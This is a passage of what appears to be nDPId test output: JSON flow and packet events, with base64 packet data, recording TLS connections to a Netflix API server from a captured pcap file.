+00444{"flow_id":58,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6799,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":826887,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABAF8hAAEAGDxPAqAEHNCkeBdABAbshc+whAAAAALAC\/\/8t3QAAAgQFtAEDAwUBAQgKH2X2iwAAAAAEAgAA"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6800,"source":"netflix.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":1,"flow_first_seen":1484319117827,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53250,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":59,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6800,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":827967,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABADR1AAEAGGb7AqAEHNCkeBdACAbuRqNIFAAAAALAC\/\/\/XwQAAAgQFtAEDAwUBAQgKH2X2jAAAAAAEAgAA"} +00498{"flow_id":57,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6801,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":836849,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnuJZAACkGjDU0IBbWwKgBBwG70ABfA6jaZnjDpIAYAD0jDAAAAQEICraxJn4fZfZgFAMDAAEBFgMDACjMteRz8wyXXElR61k+p9UqwquA\/gjmDYad1auQslmuyUovR8ECQcMU"} +00428{"flow_id":57,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6802,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":838601,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0z45AAEAGXpDAqAEHNCAW1tAAAbtmeMOkXwOpDYAQD\/5jBAAAAQEICh9l9pa2sSZ+"} +01778{"flow_id":57,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6803,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":840283,"pkt_caplen":1058,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1058,"pkt_l4_len":1024,"pkt":"gCqoTGHM5JjWH70UCABFAAQUPWxAAEAG7NLAqAEHNCAW1tAAAbtmeMOkXwOpDYAYEACKwwAAAQEICh9l9pe2sSZ+FwMDA9shZeBhnC3o6uuZl83m6SMPscaIy\/3ynuHQbKmZ2liBo3dkwnuHoY4iR4eNUgPOMSRyuZsLFuM\/umtYIb0OJdjz3oqXeXBbZTO1bEXNM0oIQsBNZzuJwKfiLyQUl3F025Bo0ISpfl4lQj2HP7kyG0JzzQdbqhIgdWOKyWQbLN2rU3CGjoBJ6upYqt\/\/PhUkaLK55zmh1D5Ul+xrukiZTqeZiymr1S6fhQESe7EuiAm\/z3cBUiN\/lynAB2E7f0CFvzLOGDj9emsXJFUb2C8xvWVZe6EKnqrPGJDYiGwDLH1\/aYkWIGruuhjLvh8gkYTtni2eqeOJNB0ZHcM9umu8hCqeH+0KQ0WtDBVH4gSybttRpGxckNtZNNiSUD1wTuxOpqfs5KDNl0bJgis\/QeUpI9wAySeNmfa5RE6Xo0NsFquRusuVkdfNmyyFnxtDBIkjHZCJD8r+HdmkueiQNbvYvnKyXzkKrIVo86VWq2q9+vw8wpKsjQJuYo8f9NEXdi51iZoR+3d03LFoeO9DZ0pNjJFVvBqi5BhwlHakAqICIzRqiegmF5Jzp9tChcjMI3IEITpRmnKu+rpa7G29WFtjgHdfJnGQMTLxU5jKUsVaaLcidoIs0N5i+\/tTVsojbK987tfl4gwqMEghdhQ5cE+iNceq8EngIgNt16ZPHXzhDWQAtANct2pu3fsIU9qf9Xvsva554aWvraMY0paD1lyuQD6j2tqr5h7NSYBViN7UXLWN5lku\/lpUfqPYRKgc3HjNiMr8V6JcKy6csp8VwaaRGygeKPO7hpkTA28VwSPPTt7F\/z2dWgBAkXv0R9k9yb8xLuAYjB4Q8tDKpTcQCxo45DYlJvOcueL4A+NItR2qY9uvpwz4aEQvvL7t8nkolCOInRikT40EEoZONJCc2Jgtd\/whj3jgBvAdjEKWQDuisc\/\/3O4a8qsDM6goFrxTk8MwISYKWdeLNN85VHdq4lW+hMBcQsHVP0GII6eQR25xYwhL7F90yhlrY\/dEdCgrZ4\/nm0zHxk5rs+65sY+DitA\/mVUQVkGb300odg3T25Iu9899kR6dirGI\/+ti\/X8HZOw3QaHBqC8jmrivOjNDWMH30kX4SBOCdhxbfV1Uw\/qbAb72LfC96Bf1WzfiOGM0txNB9Fy2Qw0i1bpkjQ8EN39hcUZtRzMsQQBbX1O3cj504KomJbRlGjYALJtgEyeRRIGChcXQ+96yR0sMHdcQKUlgReZeLamKb3knYbuieV5CvIAMQh\/EqnYt+0FBRCGN9u+B7Iag6yG6mfySHWaHf+WwXTAxHyG2PMsGn35y74s="} +00439{"flow_id":58,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6809,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":879588,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGPL80KR4FwKgBBwG70AFaPMiyIXPsIqASOJC25AAAAgQFtAQCCAqh\/YpsH2X2iwEDAwg="} +00427{"flow_id":58,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6810,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":881117,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0BiRAAEAGIMPAqAEHNCkeBdABAbshc+wiWjzIs4AQEBUN+QAAAQEICh9l9r+h\/Yps"} +00714{"flow_id":58,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6811,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":885772,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"gCqoTGHM5JjWH70UCABFAAEEKuFAAEAG+zXAqAEHNCkeBdABAbshc+wiWjzIs4AYEBUAlAAAAQEICh9l9sOh\/YpsFgMBAMsBAADHAwNYeOmNxGxgi8I9EIqk5oJkWnJI9VweKmO\/JyQkao7GaCDcQ+\/FQ45c2bdXzP\/d5vWiRznU+6UwyhdZu7Y2G7JjpAAmAP\/ALMArwCTAI8AKwAnAMMAvwCjAJ8AUwBMAnQCcAD0APAA1AC8BAABYAAAAGwAZAAAWYXBpLWdsb2JhbC5uZXRmbGl4LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6811,"source":"netflix.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":4,"flow_first_seen":1484319117826,"flow_last_seen":1484319117885,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53249,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00439{"flow_id":59,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6812,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":886937,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACkGPb80KR4FwKgBBwG70ALhlhIJkajSBqASOJCQFwAAAgQFtAQCCAqh\/YptH2X2jAEDAwg="} +00427{"flow_id":59,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6813,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":890575,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0Pr9AAEAG6CfAqAEHNCkeBdACAbuRqNIG4ZYSCoAQEBXnJgAAAQEICh9l9sWh\/Ypt"} +00713{"flow_id":59,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6814,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":892631,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"gCqoTGHM5JjWH70UCABFAAEEuTxAAEAGbNrAqAEHNCkeBdACAbuRqNIG4ZYSCoAYEBUMGAAAAQEICh9l9seh\/YptFgMBAMsBAADHAwNYeOmNE5tkHrD0G2XjxlOstOMmL3TKkSrM+b+7cNSu7CDcQ+\/FQ45c2bdXzP\/d5vWiRznU+6UwyhdZu7Y2G7JjpAAmAP\/ALMArwCTAI8AKwAnAMMAvwCjAJ8AUwBMAnQCcAD0APAA1AC8BAABYAAAAGwAZAAAWYXBpLWdsb2JhbC5uZXRmbGl4LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":6814,"source":"netflix.pcap","alias":"nDPId-test","flow_id":59,"flow_packet_id":4,"flow_first_seen":1484319117827,"flow_last_seen":1484319117892,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53250,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00501{"flow_id":57,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6815,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":902068,"pkt_caplen":120,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":120,"pkt_l4_len":86,"pkt":"5JjWH70UgCqoTGHMCABFIABquJdAACkGjDE0IBbWwKgBBwG70ABfA6kNZnjHhIAYAEXPmAAAAQEICraxJo4fZfaXFwMDADHMteRz8wyXXaXd2RcnujIQezZltisNkVOhrLlxwzYR31jYvekblxAEodQ9mpyApjCs"} +00428{"flow_id":57,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6816,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":903397,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0s05AAEAGetDAqAEHNCAW1tAAAbtmeMeEXwOpQ4AQD\/5eoQAAAQEICh9l9tO2sSaO"} +02400{"flow_id":57,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6817,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":906153,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXcXEdAAEAGzC\/AqAEHNCAW1tAAAbtmeMeEXwOpQ4AQEAAiygAAAQEICh9l9tO2sSaOFwMDCqEhZeBhnC3o6wmVYP\/JcMRXs4Y2Mw0qfzuqIUVAeVDr3hQeKInRYJmV+eaRiKA3Xn7BdrkjvFkDvd6LpF2RPZQzSu38+Cl0Ghr17xUz4kQ8mpHKZg\/ZCAjmYOK1AlCJtveNeE7sRaH9Dp09Wqi\/5+OkwIwhmF6v2+oz3V4RwoCWOYaD\/vvrB81fX0iNENnLzALF5nvHgb7ObzbshkADnwwlU11CqefuoieYTmrs5XQ\/ihtFF0JocZ67IF6EWbsMQNB8hR+uQrhXYDeS9YNuD+iI1ZxcMi71ZjCfnbP+QEQT3Zij8svxkrYAdRYiZ3Y6PE5skSIEgD78Juhd9VLiMEU1\/43TLawjuDkXNtYyGShez5jHAD3pq459Mp\/m1pxpMQ4qYne52LPjMxV91AvE3SrSUZhAXUCC5F8vn9PQ+L59QM3iHOrb0nDnNTp5GpNBuFS5\/kTloaW91kxYJUXh6zqwikglOZwNhx1G\/3Y010IbIW+tknMKE7cSiwtHhczXh\/YlISJrwiSIFNbHK44yFpCk27Fb17giZIXqRB8t7282KV2+F4ZU62pSae9fMup+lgkrvmI\/R3vkHa2XThtksLzhVH5JreoMSdMSLvVdi2vU2WTsjNk6DmMutXfQbnpYZMGYaN6GIk7A7VLEVTqbsvBP90dg0fC7PW2FivP5DOHjmhP2AoLl07fhpFvxLEb4d8uZ3VfKWapwXB2WF+kHChbSmlJwty9kRjLzu5QRdIX6ETIhfv4JkyEBJoZv3otWDr8HsG0I9ifuvhHGrlWNhRC5TkeL3apYXRkLtRJG12aC9CZLu34\/OvCfx\/5l5oX+RwOjWGDOXXQKeNig7jt8BvWA1E7hJk4yAztKjJ2T9GWnTVlepocvF3HXYILgKcJuRFY7LgIm8\/Ta8+j9F4skk\/tfEYxWd0eyfUrZYyGy17jGZqcdeQCY8N0pil0e8B6QvUEFRMH2adji\/9jULc9\/u2DAy65zoESP+hnZoH2577wTWH3z6qRVns2BBGb61WaE0gXnymPO277VCOK47bP3iPsM\/nVvWQ3gW7FwRpCHJoeDwvliP9NbuD4L1v7WNe1j62zj\/DzSnAHvPXgmIC3EBYL4A0IAPFyoqb4hipglSOfO39B6xw\/cpuGgQZKrFidJNn6d+roSuKL\/KLU+ezpqvK\/RPp2jdait6rQCyfrMlKXwCixOK1A+FiwULYk2z9oqJxIxmvPAJ4SHNgn4ryg7CpSRnixoeRThgNWWB36++vWRjTYc8YQne3w9xJPDJ+ZCLbyPSu1J3cNv6toiJuA6GDxB\/9ZLrzwIxTTXZf7gpciU6ZpQ9ERiU0sSpPEcDZ1rMnBcdZP08LMcBJGnXZOZBo9z6JQfbIQ4sSqsCMpwYsMkL0C6qC9Th94j57XgVATTtswwrM2qUn90lau51fFNQerubMkKpjj8TSqgD+hkD9V\/qJnB3z7\/IY6Yk2\/0yRERrXLSdorX65x8fMztPyJ1k+t\/rMyscxigEC15Yu2Y25LOCUTz2vPVLxtn5kuSwukBYLrFkF32i4SIZcIARD0bJ40\/wHhj42SzhwaXj4yzBusj4bRoZdreiasdlAZejA3He5p3I95wI5V98W8F1CqlfjhnhabDJzl+UCF9SYVWTPvdbG9NvNarXhutfHA014+De5yDqS3DxoOjmaWNSIz+pbfx8vg\/lNCPMS2q8LqipX9\/Ap+2Nqg1OsozLQHA\/Pn\/L0yNjmkI\/yHb55iBPlWled3cEVEE8KjhaKg1rfILhYSaqB7AGbi34gxs8Ac4GS6S4Dw\/N+CbJI4pFlabTxoMUMD7uQujZzPLRFSIO92QcYUorTKumacXYYkYTFOVOH8U4oR+7wlZ+TMKa1S7nOzsQmdBMoPh7slld0ejO2KmcitKvvVorLV7I3yoNu2C1F0Z+jn27Sk="} +00426{"flow_id":58,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6820,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":929656,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0QsRAACoG+gI0KR4FwKgBBwG70AFaPMizIXPs8oAQAD0c8QAAAQEICqH9ingfZfbD"} +00631{"flow_id":58,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6821,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":930548,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"5JjWH70UgCqoTGHMCABFIADFQsVAACoG+XA0KR4FwKgBBwG70AFaPMizIXPs8oAYAD1rVwAAAQEICqH9ingfZfbDFgMDAFkCAABVAwNYeOmNPVuURpMb\/fx8yaJA6qP5XzLudCxl+lHk4pO37SDcQ+\/FQ45c2bdXzP\/d5vWiRznU+6UwyhdZu7Y2G7JjpMAvAAAN\/wEAAQAACwAEAwABAhQDAwABARYDAwAoISr6QGNuUwXE3zvP\/hpWdpKQ911Va7M\/7zfUPVeWOAkJZLvZ3ismWQ=="} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":6821,"source":"netflix.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":6,"flow_first_seen":1484319117826,"flow_last_seen":1484319117930,"flow_tot_l4_data_len":565,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.41.30.5","src_port":53249,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +00427{"flow_id":58,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6822,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":931759,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0TJBAAEAG2lbAqAEHNCkeBdABAbshc+zyWjzJRIAQEBEMYQAAAQEICh9l9u6h\/Yp4"} +00435{"flow_id":58,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6823,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":932904,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6kUJAAEAGlZ7AqAEHNCkeBdABAbshc+zyWjzJRIAYEBH0TQAAAQEICh9l9u+h\/Yp4FAMDAAEB"} +00490{"flow_id":58,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6824,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":933306,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABhhOJAAEAGodfAqAEHNCkeBdABAbshc+z4WjzJRIAYEBFPtAAAAQEICh9l9vCh\/Yp4FgMDACg7GVRz9q7bCs61NasJlVJx2Ycx\/rNf9nrAzt4Php4mYrbW23IFchHS"} +02396{"flow_id":58,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6825,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":935587,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"gCqoTGHM5JjWH70UCABFAAXcluhAAEAGilbAqAEHNCkeBdABAbshc+0lWjzJRIAQEBFZOgAAAQEICh9l9vGh\/Yp4FwMDB5U7GVRz9q7bC3hQlFlELmOwzVcjGAy+FKH+mBmmYr\/aeNhpu1+MGisAJ\/6oUdLronE\/zemVCkwAM84UqYElNS3nriFXMDfVf1zv79vkKYDdgGVyVrmYiuy5stod4AhAUWiPNzab9+YQXivWZ2KpyWGD+smUhvZsizKjytxaSwIeLhcl6G35kyvjbLYsG+OtIn5R5zhNr+fBc\/uAd1XR9lxei90QT++zzsn6rFDJ6c0xpyUYIkYa1DdzACljSIjh5yYe9kifowstYRJ2XH8tinQxts1ie08s0sB3CIdIeZfaPzS1qLzqrzMRj6CAd\/dhoRP2y8TYVRl0jLPKY6zYYa6EwZKuxSsoimSijRpSUep4A1\/nVyLNjzDf4ZzpcCGjmwnJz2snKt6a4RsNGBdnMgmtVNXuioa8C40QbMQ9rSup2omVEkYvMk6KS1vxhFPSYB2YzYRQMrxWEZxctEiRmj1vTlVeEeyf4wcfqTc4860skRiZA5mpTK+3LkKzE13+1uXDECBxS39\/f22tu91+4XwmIMOlTVYU4LijGDsCSROetylrc3rrPQ\/9I9mM1vgqyGl2U2KCqfV\/zQFWkk\/B+TBVQUnnOvilQf+fDByTd0iQOMafaOuvxtoqLlWT6DgdzyijtcJ66GDPSJ3x3dsbBpKb5X0W4neKZ7PJaaFf4MGZvCVhOzZGyTE1Ct5+9tyRLiD8dZeJjnXQP1S4S6oiU8QAz6\/7+Qv80UdICy7tlz6MBLw6ZREWqpOmxUaKfNRPg\/dywYumHeV41PnPPc\/6xdBTvsnlor+MwM5BsPiTIQv+5qnvnowlw00QALhBdru5IqEqdqxj3qV3+LHo4BKzjc+B8JS3MXYO7XO0Py9b+26auWHUGGVGWVAncmYGurOXjlD+lzCqVk9042snQQEOjKKXK52\/hVfX\/F86W3wHkHoXNqHMFcrwu\/A4gtR9r2bXcLxvfm5azkp6dWfsURZ1FH3qrrSTJcaegSew\/XCPBcDObJdk8LQA30DIXaT0NJi5SqBtKd62gdXaVUBJd1gjjmm58W22o4GENR5GkiyqaYLptzKdEu+OWwaoWGfqxvuR36eVeOey0GtUmxwsPlcHqXS1ditDIxp8dw2wmnht9aDfn5uO6oSE0yIKGR8ckmmsj6FcPEkov+huP6kvv9EFO1p+\/5jU3tHhTuldAK0Fgp7xzCzj0fGuUbGTtq2xkzbIrjAaoWRD3jotxGHubAy30XzWBrg6pI\/IKwg2y6Lv056kccYrKm\/MI\/7jl2jbNho6JB\/NIZXdT9d4JF\/QJjHAOVxBvWoKRqmBFbmRLpJjXIG09I+8QMwHXuWT\/0oAFFIUTPFKP9\/1o0Ltep0PT6UDfdUuKN6G9mR2bU81B7+7I3Wxvp+A35V27lqIWXynXkzirEul6lIjCJVVkgXy8f9t9Yg5P5CBRWPusruNFgYqXq9ktHOzsjosz3ifEeHaKC4DZAwasQpVPSJvcYi45itgSms\/MSEdnKzsuMC7c+ruiT7gnu\/hKDVAPRzx93xBTDmGLVcpz+Gzj4RopzWJAtDOue0bGQkv707xo0Y8z9yIkRUbgAZ3tU92CG0ZE2jICdupXzpUkhjfPCPRVWNFf6iG2zgC7jP6kqny7OHFpDnkwRIuIT+8QEtp17jKAeJGmJ3SbyZxpLEMxRuIS8+PaZ09N1d6uJgPDa7VKfAMbzjtGUeVVtCtl16XR\/PoF7zTWwQb45BUxX6z4xS9gHIDhaehp7TiFn5hehymaWu55OZXSOqz0DCn3TQ\/KSuSmwKQoux9Vr1NP7hzYeM5qrjQqKTFNR9bEwqMtnyQEbthHn6eRWUtuhJQuect1HiVq4+DXFgSL\/VBD1FwzRHzlfREJum1sJftmmlchYA58Fwe7YkhG6jWkVc7aXwZvyg+cpoXrWTbA5qPq2k="} +01107{"flow_id":58,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6826,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":936208,"pkt_caplen":564,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":564,"pkt_l4_len":530,"pkt":"gCqoTGHM5JjWH70UCABFAAImzqhAAEAGVkzAqAEHNCkeBdABAbshc\/LNWjzJRIAYEBFI0QAAAQEICh9l9vGh\/Yp4avN+Z1XWUB+3WAOpuJpqzqtKWRJL4zu4ISXdtKypnYqGCP9n7j4ktK+SZOBLa8BT+0OLSi3bhOIFUDhsf64F7wrvNjuSjasNuttYLpHXi7h8KPA\/S1XW7g9J31fOhAPuuw6ZxsVINm0JLJgZhv41EHV2fdJzzSO45gPSROGfpL5zzyiyhAN9r0Y3i5TUTynIcFs6vriuz3tQGEEngaCdKvk\/WoE\/OHZLufvXNL8XmLRa+SWBE80Rn26GLv\/OfkbN7cyNG2rusRhwriJZlkTsKUfujhv0saiPRWjC4gO8kXBziLWDY1u7rjlF1fkFDrAFS5qZOR6NwqhAE0e757ac22CdoVCfe4HF9zCdMSd5j\/PdDI5ltZghGMv\/JAYcxw0MCYn9Xo6kor4zjEV9Xes6rZiOvOyZZoOfub02Akjo0D8b8UC4Jn8YgKcbZ1iUGN1wuXV\/xZ5eoebXRTYP4yeB5E5iGFP8Pv\/lhp27RuDLmLlFr1JCHXht05qFgJO8VzeMfWvhm9MDWShtVxCp9\/3j21TeHr43I2d5FmGGawJKlUf70vOtagJOm1d\/exeq7QOgpIVpGE34Qr7um5I1jP6rU0nmBFFgab87bGt46R\/Y41i7pAMalVEPQB95ipZppRXmBDFSzdHZL3sIkq1EwRre++6e"} +00426{"flow_id":59,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6827,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":941532,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0mHNAACkGpVM0KR4FwKgBBwG70ALhlhIKkajS1oAQAD32HgAAAQEICqH9insfZfbH"} +00631{"flow_id":59,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6828,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319117,"pkt_ts_usec":942410,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"5JjWH70UgCqoTGHMCABFIADFmHRAACkGpME0KR4FwKgBBwG70ALhlhIKkajS1oAYAD0r6wAAAQEICqH9insfZfbHFgMDAFkCAABVAwNYeOmNhBa97m16IKYUAyxArJDuRqKzC3VOnigM0fPRMyDcQ+\/FQ45c2bdXzP\/d5vWiRznU+6UwyhdZu7Y2G7JjpMAvAAAN\/wEAAQAACwAEAwABAhQDAwABARYDAwAoFiOeGccWPFfw7qlBE4VkatjS4l\/f33xVU7KB3IBXXk\/K\/lILTfxcQg=="} 